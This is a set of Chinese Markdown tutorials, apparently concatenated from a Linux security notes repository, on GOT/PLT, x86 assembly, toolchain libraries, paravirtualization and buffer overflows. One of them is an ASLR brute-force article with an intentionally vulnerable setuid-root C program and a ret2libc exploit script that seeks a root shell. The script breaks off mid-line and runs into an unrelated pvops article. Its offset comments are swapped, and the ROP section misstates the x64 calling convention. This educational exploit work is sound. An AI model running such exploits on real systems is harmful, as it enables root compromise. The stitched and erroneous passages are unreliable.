got.plt 的具体位置,计算方式与前面对数据的访问原理是一样的,经计算此时, %ebx = 0x53b + 0x1191 = 0x16cc, 注意指令 54e, 该指令调用了函数 g_func@plt: 43 | ``` 44 | 00000428 : 45 | 428: ff a3 0c 00 00 00 jmp *0xc(%ebx) 46 | 42e: 68 00 00 00 00 push $0x0 47 | 433: e9 e0 ff ff ff jmp 418 <_init+0x18> 48 | ``` 49 | 注意到此时, %ebx 中放的是 got.plt 的地址,g_func@plt 的第一条指令用于获取 got.plt 中 func 的具体地址, func 放在 0xc + %ebx = 0xc + 0x16cc = 0x16d8, 这个地址里放的是什么呢?我们查一下重定位表: 50 | ``` 51 | -bash-3.00$ objdump -R liba.so 52 | 53 | liba.so: file format elf32-i386 54 | 55 | DYNAMIC RELOCATION RECORDS 56 | OFFSET TYPE VALUE 57 | 000016e0 R_386_RELATIVE *ABS* 58 | 000016e4 R_386_RELATIVE *ABS* 59 | 000016bc R_386_GLOB_DAT g_share 60 | 000016c0 R_386_GLOB_DAT __cxa_finalize 61 | 000016c4 R_386_GLOB_DAT _Jv_RegisterClasses 62 | 000016c8 R_386_GLOB_DAT __gmon_start__ 63 | 000016d8 R_386_JUMP_SLOT g_func 64 | 000016dc R_386_JUMP_SLOT __cxa_finalize 65 | ``` 66 | 可见,该地址里放的就是 g_func 的具体地址,那此时 0x16d8 放的是真正的地址了吗?我们再看看 got.plt: 67 | ``` 68 | Contents of section .got.plt: 69 | 16cc fc150000 00000000 00000000 2e040000 ................ 70 | 16dc 3e040000 71 | ``` 72 | 16d8 处的内容是: 2e040000, 小端序,换回整形就是 0x000042e, 该地址就是 fun@plt 的第二条指令! 73 | 74 | ## reference 75 | [Position Independent Code (PIC) in shared libraries](https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/) 76 | 77 | [深入了解GOT,PLT和动态链接](https://evilpan.com/2018/04/09/about-got-plt/) 78 | -------------------------------------------------------------------------------- /Linux 系统底层知识/linux x86 汇编程序示例.md: -------------------------------------------------------------------------------- 1 | ## 求一组数的最大值的汇编程序 2 | ``` asm 3 | #PURPOSE: This program finds the maximum number of a 4 | # set of data items. 5 | # 6 | #VARIABLES: The registers have the following uses: 7 | # 8 | # %edi - Holds the index of the data item being examined 9 | # %ebx - Largest data item found 10 | # %eax - Current data item 11 | # 12 | # The following memory locations are used: 13 | # 14 | # data_items - contains the item data. A 0 is used 15 | # to terminate the data 16 | # 17 | .section .data 18 | data_items: #These are the data items 19 | .long 3,67,34,222,45,75,54,34,44,33,22,11,66,0 20 | 21 | .section .text 22 | .globl _start 23 | _start: 24 | movl $0, %edi # move 0 into the index register 25 | movl data_items(,%edi,4), %eax # load the first byte of data 26 | movl %eax, %ebx # since this is the first item, %eax is 27 | # the biggest 28 | 29 | start_loop: # start loop 30 | cmpl $0, %eax # check to see if we've hit the end 31 | je loop_exit 32 | incl %edi # load next value 33 | movl data_items(,%edi,4), %eax 34 | cmpl %ebx, %eax # compare values 35 | jle start_loop # jump to loop beginning if the new 36 | # one isn't bigger 37 | movl %eax, %ebx # move the value as the largest 38 | jmp start_loop # jump to loop beginning 39 | 40 | loop_exit: 41 | # %ebx is the status code for the _exit system call 42 | # and it already has the maximum number 43 | movl $1, %eax #1 is the _exit() syscall 44 | int $0x80 45 | ``` 46 | 47 | 汇编、链接、运行: 48 | ``` 49 | $ as max.s -o max.o 50 | $ ld max.o -o max 51 | $ ./max 52 | $ echo $? 53 | ``` 54 | 这个程序在一组数中找到一个最大的数,并把它作为程序的退出状态。这组数在.data段给出: 55 | ``` 56 | data_items: 57 | .long 3,67,34,222,45,75,54,34,44,33,22,11,66,0 58 | ``` 59 | .long指示声明一组数,每个数占32位,相当于C语言中的数组。这个数组开头定义了一个符号data_items,汇编器会把数组的首地址作为data_items符号所代表的地址,data_items类似于C语言中的数组名。data_items这个标号没有用.globl声明,因为它只在这个汇编程序内部使用,链接器不需要用到这个名字。除了.long之外,常用的数据声明还有: 60 | 61 | .byte,也是声明一组数,每个数占8位 62 | 63 | .ascii,例如`.ascii "Hello world"`,声明11个数,取值为相应字符的ASCII码。注意,和C语言不同,这样声明的字符串末尾是没有'\0'字符的,如果需要以'\0'结尾可以声明为`.ascii "Hello world\0"`。 64 | 65 | data_items数组的最后一个数是0,我们在一个循环中依次比较每个数,碰到0的时候让循环终止。在这个循环中: 66 | 67 | edi寄存器保存数组中的当前位置,每次比较完一个数就把edi的值加1,指向数组中的下一个数。 68 | 69 | ebx寄存器保存到目前为止找到的最大值,如果发现有更大的数就更新ebx的值。 70 | 71 | eax寄存器保存当前要比较的数,每次更新edi之后,就把下一个数读到eax中。 72 | ``` 73 | _start: 74 | movl $0, %edi 75 | ``` 76 | 初始化edi,指向数组的第0个元素。 77 | 78 | `movl data_items(,%edi,4), %eax` 79 | 这条指令把数组的第0个元素传送到eax寄存器中。data_items是数组的首地址,edi的值是数组的下标,4表示数组的每个元素占4字节,那么数组中第edi个元素的地址应该是data_items + edi * 4,写在指令中就是data_items(,%edi,4)。 80 | 81 | `movl %eax, %ebx` 82 | ebx的初始值也是数组的第0个元素。下面我们进入一个循环,循环的开头定义一个符号start_loop,循环的末尾之后定义一个符号loop_exit。 83 | ``` 84 | start_loop: 85 | cmpl $0, %eax 86 | je loop_exit 87 | ``` 88 | 比较eax的值是不是0,如果是0就说明到达数组末尾了,就要跳出循环。cmpl指令将两个操作数相减,但计算结果并不保存,只是根据计算结果改变eflags寄存器中的标志位。如果两个操作数相等,则计算结果为0,eflags中的ZF位置1。je是一个条件跳转指令,它检查eflags中的ZF位,ZF位为1则发生跳转,ZF位为0则不跳转,继续执行下一条指令。可见比较指令和条件跳转指令是配合使用的,前者改变标志位,后者根据标志位决定是否跳转。je可以理解成`“jump if equal”`,如果参与比较的两数相等则跳转。 89 | ``` 90 | incl %edi 91 | movl data_items(,%edi,4), %eax 92 | ``` 93 | 将edi的值加1,把数组中的下一个数传送到eax寄存器中。 94 | ``` 95 | cmpl %ebx, %eax 96 | jle start_loop 97 | ``` 98 | 把当前数组元素eax和目前为止找到的最大值ebx做比较,如果前者小于等于后者,则最大值没有变,跳转到循环开头比较下一个数,否则继续执行下一条指令。jle表示“jump if less than or equal”。 99 | ``` 100 | movl %eax, %ebx 101 | jmp start_loop 102 | ``` 103 | 更新了最大值ebx然后跳转到循环开头比较下一个数。jmp是一个无条件跳转指令,什么条件也不判断,直接跳转。loop_exit符号后面的指令调_exit系统调用退出程序。 -------------------------------------------------------------------------------- /Linux 系统底层知识/理解编译链接的那些事儿.md: -------------------------------------------------------------------------------- 1 | CSysSec注: 本文来自Diting0x的个人博客,主要介绍了Linux内核中一系列的内存分配函数及其原理 2 | 转载本文请务必注明,文章出处:《[理清编译链接的那些事儿](http://www.csyssec.org/20170301/compile-link/)》与作者信息:Diting0x 3 | 4 | 当你在linux下写C/C++代码的时候,是不是会遇到许多编译链接的问题? 时不时报个glibc,gcc,g++等相关的错误? 很多时候都无从下手,而且比较混乱。 这也是编译链接过程中经常出现的问题。 5 | 6 | 这篇文章不是去介绍如何编译链接,而是理清编译链接过程中碰到的一些概念和出现的问题。尤其是,libc,,glib,glibc,eglibc,libc++,libstdc++,gcc,g++。 7 | 8 | 从libc说起。 9 | libc是Linux下原来的标准C库,也就是当初写hello world时包含的头文件`#include < stdio.h>` 定义的地方。 10 | 11 | 后来逐渐被glibc取代,也就是传说中的GNU C Library,在此之前除了有libc,还有klibc,uclibc。现在只要知道用的最多的是glibc就行了,主流的一些linux操作系统如 Debian, Ubuntu,Redhat等用的都是glibc(或者其变种,下面会说到). 12 | 13 | 那glibc都做了些什么呢? glibc是Linux系统中最底层的API,几乎其它任何的运行库都要依赖glibc。 glibc最主要的功能就是对系统调用的封装,你想想看,你怎么能在C代码中直接用fopen函数就能打开文件? 打开文件最终还是要触发系统中的sys_open系统调用,而这中间的处理过程都是glibc来完成的。[这篇文章](./Linux%20系统调用权威指南.md) 详细介绍了glibc是如何与上层应用程序和系统调用交互的。除了封装系统调用,glibc自身也提供了一些上层应用函数必要的功能,如string,malloc,stdlib,linuxthreads,locale,signal等等。 14 | 15 | 好了,那eglibc又是什么? 这里的e是Embedded的意思,也就是前面说到的变种glibc。eglibc的主要特性是为了更好的支持嵌入式架构,可以支持不同的shell(包括嵌入式),但它是二进制兼容glibc的,就是说如果你的代码之前依赖eglibc库,那么换成glibc后也不需要重新编译。ubuntu系统用的就是eglibc(而不是glibc),不信,你执行 ldd –version 或者 /lib/i386-linux-gnu/libc.so.6 16 | (64位系统运行/lib/x86_64-linux-gnu)看看,便会显示你系统中eglibc/glibc的版本信息。 这里提到了libc.so.6,这个文件就是eglibc/glibc编译后的生成库文件。 17 | 18 | 好了,还有一个glib看起来也很相似,那它又是什么呢?glib也是个c程序库,不过比较轻量级,glib将C语言中的数据类型统一封装成自己的数据类型,提供了C语言常用的数据结构的定义以及处理函数,有趣的宏以及可移植的封装等(注:glib是可移植的,说明你可以在linux下,也可以在windows下使用它)。那它跟glibc有什么关系吗?其实并没有,除非你的程序代码会用到glib库中的数据结构或者函数,glib库在ubuntu系统中并不会默认安装(可以通过apt-get install libglib2.0-dev手动安装),著名的GTK+和Gnome底层用的都是glib库。想更详细了解glib? 可以参考 [这里](https://developer.gnome.org/glib/) 19 | 20 | 看到这里,你应该知道这些库有多重要了吧? 你写的C代码在编译的过程中有可能出现明明是这些库里面定义的变,却量还会出现’Undefined’, ‘Unreference’等错误,这时候你可能会怀疑是不是这些库出问题了? 是不是该动手换个gilbc/eglibc了? 这里强调一点,在你准备更换/升级这些库之前,你应该好好思考一下,你真的要更换/升级吗?你要知道你自己在做什么!你要时刻知道glibc/eglibc的影响有多大,不管你之前部署的什么程序,linux系统的ls,cd,mv,ps等等全都得依赖它,很多人在更换/升级都有过惨痛的教训,甚至让整个系统奔溃无法启动。所以,强烈不建议更换/升级这些库! 21 | 22 | 当然如果你写的是C++代码,还有两个库也要非常重视了,libc++/libstdc++,这两个库有关系吗?有。两个都是C++标准库。libc++是针对clang编译器特别重写的C++标准库,那libstdc++自然就是gcc的事儿了。libstdc++与gcc的关系就像clang与libc++. 其中的区别这里不作详细介绍了。 23 | 24 | 再说说libstdc++,glibc的关系。 libstdc++与gcc是捆绑在一起的,也就是说安装gcc的时候会把libstdc++装上。 那为什么glibc和gcc没有捆绑在一起呢? 25 | 相比glibc,libstdc++虽然提供了c++程序的标准库,但它并不与内核打交道。对于系统级别的事件,libstdc++首先是会与glibc交互,才能和内核通信。相比glibc来说,libstdc++就显得没那么基础了。 26 | 27 | 说完了这些库,这些库最终都是拿来干嘛的?当然是要将它们与你的程序链接在一起! 这时候就不得不说说gcc了(当然还有前文提到的clang以及llvm等编译器,本文就不细说它们的区别了)。 28 | 29 | 你写的C代码.c文件通过gcc首先转化为汇编.S文件,之后汇编器as将.S文件转化为机器代码.o文件,生成的.o文件再与其它.o文件,或者之前提到的libc.so.6库文件通过ld链接器链接在一块生成可执行文件。当然,在你编译代码使用gcc的时候,gcc命令已经帮你把这些细节全部做好了。 30 | 31 | 那g++是做什么的? 慢慢说来,不要以为gcc只能编译C代码,g++只能编译c++代码。 后缀为.c的,gcc把它当作是C程序,而g++当作是c++程序;后缀为.cpp的,两者都会认为是c++程序,注意,虽然c++是c的超集,但是两者对语法的要求是有区别的。在编译阶段,g++会调用gcc,对于c++代码,两者是等价的,但是因为gcc命令不能自动和C++程序使用的库联接,需要这样,gcc -lstdc++, 所以如果你的Makefile文件并没有手动加上libstdc++库,一般就会提示错误,要求你安装g++编译器了。 32 | 33 | 好了,就说到这,理清这些库与编译器之间的关系,相信会对你解决编译链接过程中遇到的错误起到一点帮助。 34 | 35 | 如果你的编译器不支持一些新的C/C++特性,想升级gcc/g++, 这里也给出一个基于ubuntu系统的参考方法。 36 | 37 | 添加ppa 38 | ``` bash 39 | sudo add-apt-repository ppa:ubuntu-toolchain-r/test 40 | sudo apt-get update 41 | ``` 42 | 添加ppa,是因为你所用的ubuntu版本的更新源中可能并没有你想要的gcc/g++版本。 43 | 44 | 安装新版gcc/g++ 45 | ``` bash 46 | sudo apt-get install gcc-4.8 47 | sudo apt-get install g++-4.8 48 | ``` 49 | 可以到/usr/bin/gcc查看新安装的gcc,g++ 50 | 51 | 配置系统gcc/g++ 52 | 53 | 使用update-alternatives,统一更新gcc/g++ 54 | ``` bash 55 | sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.6 60 --slave /usr/bin/g++ g++ /usr/bin/g++-4.6 56 | sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.8 80 --slave /usr/bin/g++ g++ /usr/bin/g++-4.8 57 | sudo update-alternatives --config gcc 58 | ``` 59 | 数字优先级(如60,80)高的会被系统选择为默认的编译器,也可以执行第三条命令就是来手动配置系统的gcc,此处按照提示,选择4.8版本的即可。 -------------------------------------------------------------------------------- /Linux X86 漏洞利用系列/绕过ASLR-第二篇章(暴力破解).md: -------------------------------------------------------------------------------- 1 | CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。 2 | 转载本文请务必注明,文章出处:《[Linux(X86)漏洞利用系列-绕过ASLR-第二篇章(暴力破解)](http://www.csyssec.org/20170102/bypassaslr-bruteforce)》与作者信息:CSysSec出品 3 | 4 | 5 | VM Setup: Ubuntu 12.04(x86) 6 | 7 | 在这篇文章中,我们来看看如果利用暴力破解技术来绕过共享库的地址随机化。 8 | 9 | ## 什么是暴力破解 10 | 11 | 通过此技术,攻击者选择一个特定的libc基地址,然后不断尝试攻击程序,直到成功。如果你幸运的话,这是绕过ASLR最简单的技术。 12 | 13 | 漏洞代码: 14 | 15 | ``` c 16 | //vuln.c 17 | #include 18 | #include 19 | int main(int argc, char* argv[]) { 20 | char buf[256]; 21 | strcpy(buf,argv[1]); 22 | printf("%s\n",buf); 23 | fflush(stdout); 24 | return 0; 25 | } 26 | ``` 27 | 编译命令: 28 | 29 | ``` bash 30 | #echo 2 > /proc/sys/kernel/randomize_va_space 31 | $gcc -fno-stack-protector -g -o vuln vuln.c 32 | $sudo chown root vuln 33 | $sudo chgrp root vuln 34 | $sudo chmod +s vuln 35 | ``` 36 | 现在让我们来看看攻击者是如何暴力破解libc基地址的。下面是当开启随机化时,libc不同的基地址: 37 | 38 | ``` 39 | $ ldd ./vuln | grep libc 40 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000) 41 | $ ldd ./vuln | grep libc 42 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000) 43 | $ ldd ./vuln | grep libc 44 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000) 45 | $ ldd ./vuln | grep libc 46 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000) 47 | $ ldd ./vuln | grep libc 48 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000) 49 | $ ldd ./vuln | grep libc 50 | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000) 51 | $ 52 | ``` 53 | 从上面可知,libc的随机化只局限在8个比特位中。因此,最多只要尝试256次,就可以获取root shell。下面的漏洞利用代码中,选择0xb7595000作为libc的基地址,然后我们再不断尝试 54 | 55 | 漏洞利用代码: 56 | 57 | ``` python 58 | #exp.py 59 | #!/usr/bin/env python 60 | import struct 61 | from subprocess import call 62 | libc_base_addr = 0xb7595000 63 | exit_off = 0x00032be0 #Obtained from "readelf -s libc.so.6 | grep system" command. 64 | system_off = 0x0003f060 #Obtained from "readelf -s libc.so.6 | grep exit" command. 65 | system_addr = libc_base_addr + system_off 66 | exit_addr = libc_base_addr + exit_off 67 | system_arg = 0x804827d 68 | #endianess convertion 69 | def conv(num): 70 | return struct.pack(" write_cr3`函数。 每种虚拟化系统,包括本地x86平台,对这些函数都有自己的实现。 对于x86平台,这些函数的实现只是简单地对原始函数指令的封装。比如对于`pv_mmu_ops -> write_cr3` 函数,x86平台的具体实现为`native_write_cr3` 函数: 12 | ``` c 13 | static inline void native_write_cr3(unsigned long val) 14 | { 15 | asm volatile("mov %0,%%cr3": : "r" (val), "m" (__force_order)); 16 | } 17 | ``` 18 | pvops将本地底层的硬件指令通过pv_xxx_ops结构体替换为间接跳转函数。下面以`pv_mmu_ops`为例,详细分析其内部结构,`pv_mmu_ops`的定义为:(文中列出主要部分,完整定义,可参看[pv_mmu_ops](http://lxr.free-electrons.com/source/arch/x86/kernel/paravirt.c#L395) 结构定义) 19 | 20 | ``` c 21 | struct pv_mmu_ops { 22 | unsigned long (*read_cr2)(void); 23 | void (*write_cr2)(unsigned long); 24 | 25 | unsigned long (*read_cr3)(void); 26 | void (*write_cr3)(unsigned long); 27 | 28 | /* 29 | * Hooks for intercepting the creation/use/destruction of an 30 | * mm_struct. 31 | */ 32 | void (*activate_mm)(struct mm_struct *prev, 33 | struct mm_struct *next); 34 | void (*dup_mmap)(struct mm_struct *oldmm, 35 | struct mm_struct *mm); 36 | void (*exit_mmap)(struct mm_struct *mm); 37 | 38 | 39 | /* TLB operations */ 40 | void (*flush_tlb_user)(void); 41 | void (*flush_tlb_kernel)(void); 42 | void (*flush_tlb_single)(unsigned long addr); 43 | void (*flush_tlb_others)(const struct cpumask *cpus, 44 | struct mm_struct *mm, 45 | unsigned long start, 46 | unsigned long end); 47 | 48 | /* Hooks for allocating and freeing a pagetable top-level */ 49 | int (*pgd_alloc)(struct mm_struct *mm); 50 | void (*pgd_free)(struct mm_struct *mm, pgd_t *pgd); 51 | 52 | /* 53 | * Hooks for allocating/releasing pagetable pages when they're 54 | * attached to a pagetable 55 | */ 56 | void (*alloc_pte)(struct mm_struct *mm, unsigned long pfn); 57 | void (*alloc_pmd)(struct mm_struct *mm, unsigned long pfn); 58 | void (*alloc_pud)(struct mm_struct *mm, unsigned long pfn); 59 | void (*release_pte)(unsigned long pfn); 60 | void (*release_pmd)(unsigned long pfn); 61 | void (*release_pud)(unsigned long pfn); 62 | 63 | /* Pagetable manipulation functions */ 64 | void (*set_pte)(pte_t *ptep, pte_t pteval); 65 | void (*set_pte_at)(struct mm_struct *mm, unsigned long addr, 66 | pte_t *ptep, pte_t pteval); 67 | void (*set_pmd)(pmd_t *pmdp, pmd_t pmdval); 68 | void (*set_pmd_at)(struct mm_struct *mm, unsigned long addr, 69 | pmd_t *pmdp, pmd_t pmdval); 70 | void (*pte_update)(struct mm_struct *mm, unsigned long addr, 71 | pte_t *ptep); 72 | 73 | } 74 | ``` 75 | 比如说你要在分配页表项的时候hook (`write_cr3`)函数, 可以将(`write_cr3`)函数赋值为自己的自定义函数。 默认情况下,内核中pvops框架中提供的自定义函数如下: (完整可参看 [pv_mmu_ops](http://lxr.free-electrons.com/source/arch/x86/kernel/paravirt.c#L395) 函数定义) 76 | 77 | ``` c 78 | struct pv_mmu_ops pv_mmu_ops { 79 | .read_cr2 = native_read_cr2, 80 | .write_cr2 = native_write_cr2, 81 | .read_cr3 = native_read_cr3, 82 | .write_cr3 = native_write_cr3, 83 | .alloc_pte = paravirt_nop, 84 | .alloc_pmd = paravirt_nop, 85 | .alloc_pud = paravirt_nop, 86 | .release_pte = paravirt_nop, 87 | .release_pmd = paravirt_nop, 88 | .release_pud = paravirt_nop, 89 | .set_pte = native_set_pte, 90 | .set_pte_at = native_set_pte_at, 91 | .set_pmd = native_set_pmd, 92 | .set_pmd_at = native_set_pmd_at, 93 | .pte_update = paravirt_nop, 94 | } 95 | ``` 96 | 接着定义的函数会被传入到这里: 97 | 98 | ``` c 99 | static inline void write_cr3(struct mm_struct *mm, unsigned long pfn) 100 | { 101 | PVOP_VCALL2(pv_mmu_ops.write_cr3, mm, pfn); 102 | } 103 | ``` 104 | 至于`PVOP_VCALL2` 具体做了什么,可以不必去关心。 -------------------------------------------------------------------------------- /Linux X86 漏洞利用系列/缓冲区溢出的前世今生.md: -------------------------------------------------------------------------------- 1 | 2 | ## 概述 3 | 缓冲区溢出,操作系统厂商永远的痛楚。本文讲述它的原理及最新技术。 4 | 5 | ## 前世 6 | 缓冲区溢出攻击,简单的讲,就是在一个大的缓冲区的数据向小缓冲区复制的过程中,没有注意小缓冲区的边界,“撑爆”了较小的缓冲区,从而冲掉了和小缓冲区相邻的内存区域的其他数据而引起的内存问题。如图1 7 | ![](../pictures/bufover1.png) 8 | 图1 缓冲区溢出示意图 9 | 所以说,缓冲区溢出是一个古老的内存攻击技术,那在理解其基本原理之前,先来看下内存的一下基础知识。 10 | 11 | ## 内存 12 | 我们编写的程序被编译器编译、链接后形成了可执行文件,可执行文件在不同的OS平台下文件格式不同,比如Windows下的可执行文件格式就是PE格式(例如我们常见的EXE文件), 而Linux下是ELF。通常我们很少去关注可执行文件内部有哪些数据以及数据是如何组织的,这是一个很复杂的主题,本节将简述其内容。 13 | 14 | ![](../pictures/bufover2.png) 15 | 图2 ELF格式文件组成 16 | 上图,算是一个相对完整的ELF可执行文件格式的内部组成,我们看到了相当多的段,但其实我们需要关注的,在运行时起作用的就是两类数据:代码和数据。 17 | 那么这些又和内存有什么关系呢?我们看到的是可执行文件存储在磁盘中的组织形式,当我们通过鼠标双击或通过shell的命令来执行这个文件后,OS开始加载解析这个文件,此时我们的程序开始进入“运行时”,“运行时”的程序组织形式可以简单的认识是OS中进程,对操作系统原理知识有些了解的人都应该知道,进程在“运行时”主要负责程序资源的管理和分配,比如内存、文件句柄及其他OS资源。那么可执行文件被加载到内存后,它的样子是什么?如图3. 18 | 19 | ![](../pictures/bufover3.png) 20 | 图3 磁盘中的ELF文件映射到进程中内存情形 21 | 所以我们看到在“运行时”,内存按照功能被分为四个部分: 22 | 1) 代码区:这个区域存储着被装入执行的二进制机器代码(也就是我们的代码编译后的形式),处理器会到这个区域取指令解析执行。 23 | 2) 数据区:用于存储全局变量和局部静态变量。 24 | 3) 堆区:进程可以在堆区动态请求一定大小的内存,并在用完结束后归还堆区。堆区的特点是它的动态分配回收和细粒度内存块的管理。 25 | 4) 栈区:用于动态存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行,同时函数中的局部变量也存储在栈中。 26 | ## 栈 27 | 栈,是一种数据结构,是一个先进后出的数据表,所以会为其抽象出栈底和栈顶两个属性。简单的理解,可以用生活中的装书的箱子类比,我们取书的顺序和放书的顺序相反,即第一本放入的书最后才能取出。对栈的操作也非常简单:压栈和弹栈。如图4. 28 | ![](../pictures/bufover4.png) 29 | 图4 栈及其操作示意图 30 | 我们在上节中看到的进程虚拟内存中的栈指的是系统栈。系统栈由系统自动维护(我们可以在编译器编译时指定大小),用于实现函数调用。 31 | 32 | ## Function call,What has happened 33 | 我们通过实际的代码调用过程,来看下OS如何配合系统栈完成函数的调用过程。先看下代码: 34 | ``` c 35 | int func_B(int arg_B1 , int arg_B2) 36 | { 37 | int var_B; 38 | var_B = arg_B1 - arg_B2; 39 | return var_B; 40 | } 41 | 42 | int func_A(int arg_A1 , int arg_A2) 43 | { 44 | int var_A; 45 | var_A = func_B(arg_A1 + arg_A2) + arg_A2; 46 | return var_A; 47 | } 48 | 49 | int main(int argc , char **argv , char **envp) 50 | { 51 | int var_main; 52 | var_main = func_A(4 , 3); 53 | } 54 | ``` 55 | 我们代码编译、链接后,在可执行文件和进程虚拟内存中存在的形式相同,见下图。可以看到编译后的二进制代码以函数为单位散乱的分布在进程的虚拟内存的代码区,那么CPU在执行代码的过程。图5是代码在内存中的分布,图6是CPU执行代码的过程。 56 | ![](../pictures/bufover5.png) 57 | 图5 内存中的代码 图6 CPU执行二进制代码的过程 58 | 从CPU取指执行过程中,我们发现一个重要的问题,当子函数调用执行完毕后,CPU可以回到母函数调用子函数指令的后续指令继续执行,这是怎么实现的?其实这就是通过系统栈来实现的。 59 | 首先,我们来看下一个函数的调用过程: 60 | 1) 参数入栈:将参数从右向左依次压入栈中(这里压栈的顺序根据不同的函数调用约定有所改变)。 61 | 2) 返回地址入栈:将当前代码区调用指令的下一条指令地址压入栈中,供函数返回时继续执行。 62 | 3) 代码区跳转:CPU从当前代码区跳转到被调用函数的入口处。 63 | 4) 栈帧调整: 64 | a) 保存当前栈帧状态值,以备后面恢复本栈帧时使用(EBP入栈)。 65 | b) 将当前栈帧切换到新栈帧(将ESP值装入EBP,更新栈帧底部)。 66 | c) 在新栈帧中为函数分配空间(将ESP减去所需空间大小,通过抬高栈顶的方式分配空间)。 67 | 函数的调用过程原理图如图7. 68 | ![](../pictures/bufover7.png) 69 | 图 7 子函数调用时的过程 70 | 同样,函数返回的步骤如下: 71 | 1) 保存返回值:通常是将函数返回值保存在寄存器EAX中。 72 | 2) 弹出当前栈帧,恢复上一个栈帧环境: 73 | a) 在堆栈平衡的基础上,给ESP加上栈帧的大小,降低栈顶,回收当前栈帧空间。 74 | b) 将当前栈帧底部保存的前栈帧EBP值弹入EBP中,恢复上一个栈帧。 75 | c) 将函数返回地址弹给EIP寄存器。 76 | 3) 跳转,按照函数返回地址跳回母函数中继续执行。 77 | 函数返回时的示意图如图8. 78 | ![](../pictures/bufover8.png) 79 | 图8 子函数返回的过程 80 | 通过上面对函数调用过程,看到了栈在函数调用过程中的重要作用,那么现在可以进入正题了,缓冲区溢出问题和攻击是怎么发生的? 81 | 首先,这里指的缓冲区存在于被调用函数的栈帧中的局部变量区,常见的是函数中的局部数组变量。比如下面的函数: 82 | ``` c 83 | void func_A(char * str) 84 | { 85 | char buf_A[6]; 86 | strcpy(buf_A , str); 87 | } 88 | ``` 89 | 函数func_A被调用时,它的栈帧如图9。 90 | ![](../pictures/bufover9.png) 91 | 图9 func_A的栈帧 92 | 从这个栈帧中我们得到两个重点: 93 | 1) 系统栈的内存地址增长方向是从高地址到低地址。 94 | 2) 栈中的局部数组变量的数据增长方向是从低地址向高地址。 95 | 正是由于这个特点,才造就了缓冲区溢出后劫持程序正常工作流,我们来看下这个过程。当程序由于在向缓冲区复制数据时没有判定其可承受数据大小造成数据溢出,此时数据溢出后会覆盖栈帧中的其他内存数据,此时会发生一些意想不到的问题: 96 | 3) 覆盖函数中的重要变量。如这些变量用于条件分支判断,则会导致攻击者可以控制函数执行流。 97 | 4) 覆盖当前函数栈帧中的返回地址。攻击者可以经过精心的计算,使预订的数据来覆盖函数栈帧返回地址,来达到控制当前函数返回时,CPU执行指定内存地址中的指令。 98 | ![](../pictures/bufover10.png) 99 | 图10 溢出后覆盖返回地址的攻击 100 | 如图10所示,攻击者通过缓冲区溢出攻击,达到执行填充到缓冲区中的恶意指令的目的,从而控制计算机。 101 | 102 | ## 发展 103 | 前面讲解了最基本的缓冲区溢出原理,随着攻击者和操作系统厂商的不断攻防,促进了操作系统越来越安全,在此过程中操作系统厂商绞尽脑汁增强防御措施,但攻击者总是很快就突破防御机制,公布解决方案。 104 | 终于,攻与防的战争中迎来了一次史诗级的战役。操作系统厂商祭出了重量级的杀手锏—DEP和ALSR机制。总结缓冲区溢出攻击的根本原因是由于:栈内存的可执行机制。因为栈被用来维护函数调用时的栈帧数据管理,但并没有禁止在其局部缓冲区中存放代码(代码也是一种数据),同时运行CPU可以执行栈内存中的代码。正是由于这个根本原因操作系统作为防御方,总是处在被动地位。DEP和ALSR机制改变了这一现状,其中DEP机制从根本上解决了栈内存可执行的问题,至此即使缓冲区溢出后,也无法在执行存储于栈中的shellcode代码。而ALSR机制促使可执行文件每次被加载到内存后,其栈内存的地址是不确定的,这也增加了溢出后被利用的难度。 105 | 但是,“邪恶”再一次战胜了“正义”。虽然DEP和ALSR机制的组合非常强大,但也只是提高了缓冲区溢出的门槛,而没有成功的防御住来自高水平攻击者的长矛—ROP技术。 106 | 107 | ## 今生 108 | 其实,攻击者利用缓冲区溢出进行攻击的过程中最重要的目标是控制CPU执行任意指令,在进一步说在X86体系的CPU中就是控制EIP寄存器的值,前面讲解的基础原理中通过覆盖函数的返回地址来达到该目的,因为函数的返回地址最终会被赋值给EIP(通过ret指令,因为ret指令相当于POP+JMP,这样可以操纵ESP的值来达到同样的效果)。所以只要我们能够达到这个目标,利用还是存在希望的。接下要解决的问题就是我们的攻击载荷布置在目标机器的内存中,但是由于DEP机制的存在,我们可以使用的内存都被设置成不可执行,如图11. 109 | ![](../pictures/bufover11.png) 110 | 图11 DEP下的内存段执行权限 111 | 为此攻击者绞尽脑汁,终于有一天灵光一闪,为什么一定要想目标机器注入我们的载荷呢?只有能够达到攻击的效果,那么可以满足这个目的的任意代码,我们都可以使用,比如存在于程序加载的动态链接库中,所以“Ret2Lib”技术产生了。 112 | 113 | ## Ret2Lib 114 | 首先被提出的突破DEP机制的技术叫做Return-to-library technique,简称“Ret2Lib”。该技术的核心思想是这样的:既然栈帧无法在执行代码,但是在程序的进程空间中存在着各种动态加载库(Windows下是DLL,Linux是.SO),这些链接库包括程序特有的第三方库以及OS平台提供的C运行库。在这些库中存在着大量函数,程序可以直接调用来完成工作,这样攻击者可以把函数返回值直接指向动态库中的已存在函数(在Linux下一般指向system函数,因为这个函数只有一个参数,容易构造调用),这样同样能够达到攻击的目的。通过Ret2Lib技术调用Linux中的Glibc库的system函数的栈布局如图12. 115 | ![](../pictures/bufover12.png) 116 | 图12 缓冲区溢出后调用systen函数进行攻击的栈布局 117 | 118 | ## ROP 119 | Ret2Lib技术在X86体系结构的计算机中工作的很好,但在X64体系结构的计算机上却不能使用,因为X86体系结构的函数调用约定中,参数的传递不再依赖栈来传递,并规定函数的第一个参数必须保存到寄存去EAX中。这将导致通过Ret2Lib技术调用现有的函数,因为无法在栈构造参数,除非是无参的函数。 120 | 